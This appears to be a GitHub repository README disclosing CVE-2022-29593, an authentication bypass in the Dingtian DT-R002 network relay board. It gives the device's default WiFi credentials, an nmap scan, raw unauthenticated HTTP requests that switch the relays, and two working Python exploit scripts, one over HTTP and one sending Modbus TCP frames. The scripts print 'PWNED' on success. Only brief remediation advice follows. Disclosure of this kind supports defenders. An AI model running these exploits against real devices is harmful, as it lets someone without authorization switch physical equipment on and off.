CVE-2022-29593 - Authentication Bypass by Capture Replay (Dingtian-DT-R002)

Title

Authentication Bypass by Capture-replay Published: Version: 1.0 Vendor: Shenzhen Dingtian Technologies Co.,Ltd Product: 2 Channel Relay Board/Relay Card Version affected: Firmware V3.1.276A

Product - Dingtian DTR004

Ali Express Link

Product Description

2 Channel Relay Board/Relay Card
WiFi/RS485/Ethernet capable

Tech Specs

Overview

Support multiple channel relay, On/Off/Delay/Jog
Support multiple interface RJ45/RS485/CAN/WIFI
Local Button control
PC app config and control
WEB config and control
8KB FIFO command buffer
Support password.
WIFI smart config support
Button control
MQTT/Modbus/CoAP

Technical parameters

Interface RJ45/ RS485/CAN/WIFI
Baudrate 100M/115200bps/125kbps/150Mbps
Protocol TCP server/client,UDP server/client,RS485,CAN,WIFI
Operating temperature -10~+75°C
Storage temperature -40~+125°C
Relative humidity 5~95% RH, no condensation
Power supply 9-40V Non-polar
Current 1A@12V DC
Power consumption <5W

Relay parameters

Relay Power AC 250V/10A,DC 30V/10A
Delay 1~65535 seconds
Jog Pull in 0.5 seconds, automatically release

Power supply Non-polar

DC 9~40V Non-polar

References

Manufacturer

Founded in 2019, Dingtian is a manufacturer of IOT and access control system smart devices Efficient and stable products and fast delivery are our code of conduct

Research

Powered up (12VDC @ 1Amax)

>

Network Scan
Default Wifi (SSID): dtrelay7685 (Serial Number is the last four digits)
- Where can I find the serial number ?
Default PSK (PSK): dtpassword
Default IP: 192.168.7.1

nmap -p- --open -Pn 192.168.7.1
PORT    STATE SERVICE
53/tcp  open  domain
80/tcp  open  http 
502/tcp open  mbap

HTTP Access

HTTP accesss allows for the control of the device, whilst connected to the default SSID

>

Finding

Authentication Bypass by Capture-replay

Dingtian (Dingtian DT-R002) 2CH relay, running firmware V3.1.276A allows for an attacker to replay the same data or similar data. This allows the attacker to control the devices attached to the relays without requiring authentication.
It was found that the devices relays could be controlled (turn on and off) through unauthentication HTTP requests

Evidence shows the HTTP request and response used to turn on and off the relay.

Turning ON

Request
GET /relay_cgi.cgi?type=0&relay=0&on=1&time=0&pwd=0& HTTP/1.1
Host: 192.168.7.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Referer: http://192.168.7.1/relay_cgi.html
Cookie: session=4463009

Response
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 11

&0&0&0&1&0&

Turning OFF

Request
GET /relay_cgi.cgi?type=0&relay=0&on=0&time=0&pwd=0& HTTP/1.1
Host: 192.168.7.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Referer: http://192.168.7.1/relay_cgi.html
Cookie: session=4463009

Response
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 11

&0&0&0&0&0&

Weakness Vulnerability

CWE-294 - Authentication Bypass by Capture-replay

Known Affected Software Configurations

V3.1.276A (Firmware)

PoC Code

#!/usr/local/bin/python3
# Author: Victor Hanna (Exploit Security)
# DingTian DT-R002 2CH Smart Relay
# CWE-294 - Authentication Bypass by Capture-replay

import requests
import re
import urllib.parse
from colorama import init
from colorama import Fore, Back, Style
import sys
import os
import time

from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

def banner():
    print ("[+]********************************************************************************[+]")
    print ("|   Author : Victor Hanna (9lyph)["+Fore.RED + "Exploit Security" +Style.RESET_ALL+"]\t\t\t\t\t    |")
    print ("|   Description: DingTian DT-R002 2CH Smart Relay                                      |")
    print ("|   Usage : "+sys.argv[0]+" <host> <relay#>                                           |")   
    print ("[+]********************************************************************************[+]")

def main():
    os.system('clear')
    banner()
    urlRelay1On  = "http://"+host+"/relay_cgi.cgi?type=0&relay=0&on=1&time=0&pwd=0&"
    urlRelay1Off = "http://"+host+"/relay_cgi.cgi?type=0&relay=0&on=0&time=0&pwd=0&"
    urlRelay2On  = "http://"+host+"/relay_cgi.cgi?type=0&relay=1&on=1&time=0&pwd=0&"
    urlRelay2Off = "http://"+host+"/relay_cgi.cgi?type=0&relay=1&on=0&time=0&pwd=0&"

    headers = {
        "Host": ""+host+"",
        "User-Agent": "9lyph/3.0",
        "Accept": "*/*",
        "Accept-Language": "en-US,en;q=0.5",
        "Accept-Encoding": "gzip, deflate",
        "DNT": "1",
        "Connection": "close",
        "Referer": "http://"+host+"/relay_cgi.html",
        "Cookie": "session=4463009"
    }

    print (Fore.YELLOW + f"[+] Exploiting" + Style.RESET_ALL, flush=True, end=" ")
    for i in range(5):
        time.sleep (1)
        print (Fore.YELLOW + "." + Style.RESET_ALL, flush=True, end="")
    try:
        if (relay == "1"):
            print (Fore.GREEN + "\n[+] Relay 1 switched on !" + Style.RESET_ALL)
            r = requests.get(urlRelay1On)
            time.sleep (5)
            print (Fore.GREEN + "[+] Relay 1 switched off !" + Style.RESET_ALL)
            r = requests.get(urlRelay1Off)
            print (Fore.YELLOW + "PWNED !!!" + Style.RESET_ALL, flush=True, end="")
        elif (relay == "2"):
            print (Fore.GREEN + "[+] Relay 2 switched on !" + Style.RESET_ALL)
            r = requests.get(urlRelay2On)
            time.sleep (5)
            print (Fore.GREEN + "[+] Relay 2 switched on !" + Style.RESET_ALL)
            r = requests.get(urlRelay2Off)
            print (Fore.YELLOW + "PWNED !!!" + Style.RESET_ALL, flush=True, end="")
        else:
            print (Fore.RED + "[!] No such relay" + Style.RESET_ALL)
    except KeyboardInterrupt:
        sys.exit(1)
    except requests.exceptions.Timeout:
        print ("[!] Connection to host timed out !")
        sys.exit(1)
    except requests.exceptions.Timeout:
        print ("[!] Connection to host timed out !")
        sys.exit(1)
    except Exception as e:
        print (Fore.RED + f"[+] You came up short I\'m afraid !" + Style.RESET_ALL)

if __name__ == "__main__":
    if len(sys.argv)>2:    
        host = sys.argv[1]
        relay = sys.argv[2]
        main ()
    else:
        print (Fore.RED + f"[+] Not enough arguments, please specify target and relay!" + Style.RESET_ALL)

Pwnage via ModbusTCP

It was also possible to switch relays on and off using the Modbus Protocol. The Modbus protocol running on TCP 502 is somewhat insecure and allows for the Reading and Writing of registers without the need for authentication.

Evidence shows the Writing to multiple registers using hex to switch the relay on and off

PoC Code

import socket
import sys
import os
import time
from colorama import init
from colorama import Fore, Back, Style
import sys
import os
import time

'''
4.3.2 0x06:Write Single Register
4 Relay All ON
Send:
0000 0000 0006 FF 06 0002 0f0f
Recv:
0000 0000 0006 FF 06 0002 0f0f
4 Relay All OFF
Send:
0000 0000 0006 FF 06 0002 0f00
Recv:
01 06 0002 0f00 2DFA

0000                     0000                 0006            FF               06                      00020f0f
<2 byte Transaction ID> |<2 byte Protocol ID>|<2 byte length>|<1 byte Unit ID>|<1 bytes function code>|<Data for response or commands>

Transaction ID: This is used for synchronisation between Server and Client
Protocol ID: 0 for ModBusTCP
Length Field: Number of remaining bytes in the frame
Unit Identifier: Server Address (255 or FF if not used)
Function Code: Function code as in other variants
Data Bytes: Data for response of commands
    - Function code 06 (Write Singlt Register) [Request]
        - Address of holding register to preset/write (2bytes)
        - New Value of the holding register (2bytes)
'''

def banner():
    print ("[+]********************************************************************************[+]")
    print ("|   Author : Victor Hanna (9lyph)["+Fore.RED + "Exploit Security" +Style.RESET_ALL+"]\t\t\t\t\t    |")
    print ("|   Description: DingTian DT-R002 2CH Smart Relay                                   |")
    print ("|   Usage : "+sys.argv[0]+" <host>                                                     |")
    print ("[+]********************************************************************************[+]")

def main():
    os.system('clear')
    banner()

    s = socket.socket()
    try:
        s.connect((host, 502))
        print (Fore.GREEN + "[+] " + Fore.WHITE + "T" + Fore.GREEN + "u" + Fore.WHITE + "r" + Fore.GREEN + "n" + Fore.WHITE + "i" + Fore.GREEN + "n" + Fore.WHITE + "g" + Fore.GREEN + "R" + Fore.WHITE + "e" + Fore.GREEN + "l" + Fore.WHITE + "a" + Fore.GREEN + "y" + Fore.WHITE + " O" + Fore.GREEN + "n" + Style.RESET_ALL)
        on = ("000000000006FF0600020f0f")
        off = ("000000000006FF0600020f00")
        # read =  ("000000000006FF0400020001")
        s.sendall((bytes.fromhex(on)))
        time.sleep(10)
        print (Fore.RED + "[+]" + Fore.WHITE + "T" + Fore.RED + "u" + Fore.WHITE + "r" + Fore.RED + "n" + Fore.WHITE + "i" + Fore.RED + "n" + Fore.WHITE + "g" + Fore.RED + " R" + Fore.WHITE + "e" + Fore.RED +"l" +Fore.WHITE + "a" +Fore.RED + "y" + Fore.WHITE + " O" + Fore.RED + "f" +Fore.WHITE + "f")
        s.sendall((bytes.fromhex(off)))
        data = s.recv(1024)
        print (Fore.BLUE + "[+]" + Fore.WHITE + "P" + "w" + Fore.BLUE + "n" + Fore.WHITE + "e" + Fore.BLUE + "d" + Fore.WHITE + "!" + Fore.BLUE + "!" + Style.RESET_ALL)
    except socket.timeout:
        print (f"[!] Cannot connect to target: {host} !!")
    except Exception as e:
        print(e)

if __name__ == "__main__":
    if len(sys.argv)>1:
        host = sys.argv[1]
        main ()
    else:
        print (Fore.RED + f"[+] Not enough arguments, please specify target !" + Style.RESET_ALL)

Evidence shows the structure of the Modbus client request which shows the relevant Hex Codes after examination of a captured TCPDUMP

Modbus Switch Relay ON

>

Modbus Switch Relay OFF

>

By capturing these Modbus Client transactions over the wire, it is possible to replay these to take control of the Relay and hence device connected to the relay

Teardown

ESP32 MCU - https://fccid.io/2AC7Z-ESP32
Datasheet

>

Haxed

Remediation Steps

Implementation of HTTPS
Implementation of authorization tokens for each request/transaction

Pwnage

dingtian-relay-pwned-lowres.mp4

Discoverer/Credit:

Victor Hanna of Exploit Security

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Name		Name	Last commit message	Last commit date
Latest commit History 54 Commits
images		images
README.md		README.md
_config.yml		_config.yml
cve-2022-29593.py		cve-2022-29593.py

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CVE-2022-29593 - Authentication Bypass by Capture Replay (Dingtian-DT-R002)

Title

Product Description

Tech Specs

References

Manufacturer

Research

HTTP Access

Finding

Authentication Bypass by Capture-replay

Evidence shows the HTTP request and response used to turn on and off the relay.

Weakness Vulnerability

Known Affected Software Configurations

PoC Code

Pwnage via ModbusTCP

Evidence shows the Writing to multiple registers using hex to switch the relay on and off

PoC Code

Evidence shows the structure of the Modbus client request which shows the relevant Hex Codes after examination of a captured TCPDUMP

Teardown

Haxed

Remediation Steps

Pwnage

Discoverer/Credit:

Follow me on

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9lyph/CVE-2022-29593

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Repository files navigation

CVE-2022-29593 - Authentication Bypass by Capture Replay (Dingtian-DT-R002)

Title

Product Description

Tech Specs

References

Manufacturer

Research

HTTP Access

Finding

Authentication Bypass by Capture-replay

Evidence shows the HTTP request and response used to turn on and off the relay.

Weakness Vulnerability

Known Affected Software Configurations

PoC Code

Pwnage via ModbusTCP

Evidence shows the Writing to multiple registers using hex to switch the relay on and off

PoC Code

Evidence shows the structure of the Modbus client request which shows the relevant Hex Codes after examination of a captured TCPDUMP

Teardown

Haxed

Remediation Steps

Pwnage

Discoverer/Credit:

Follow me on

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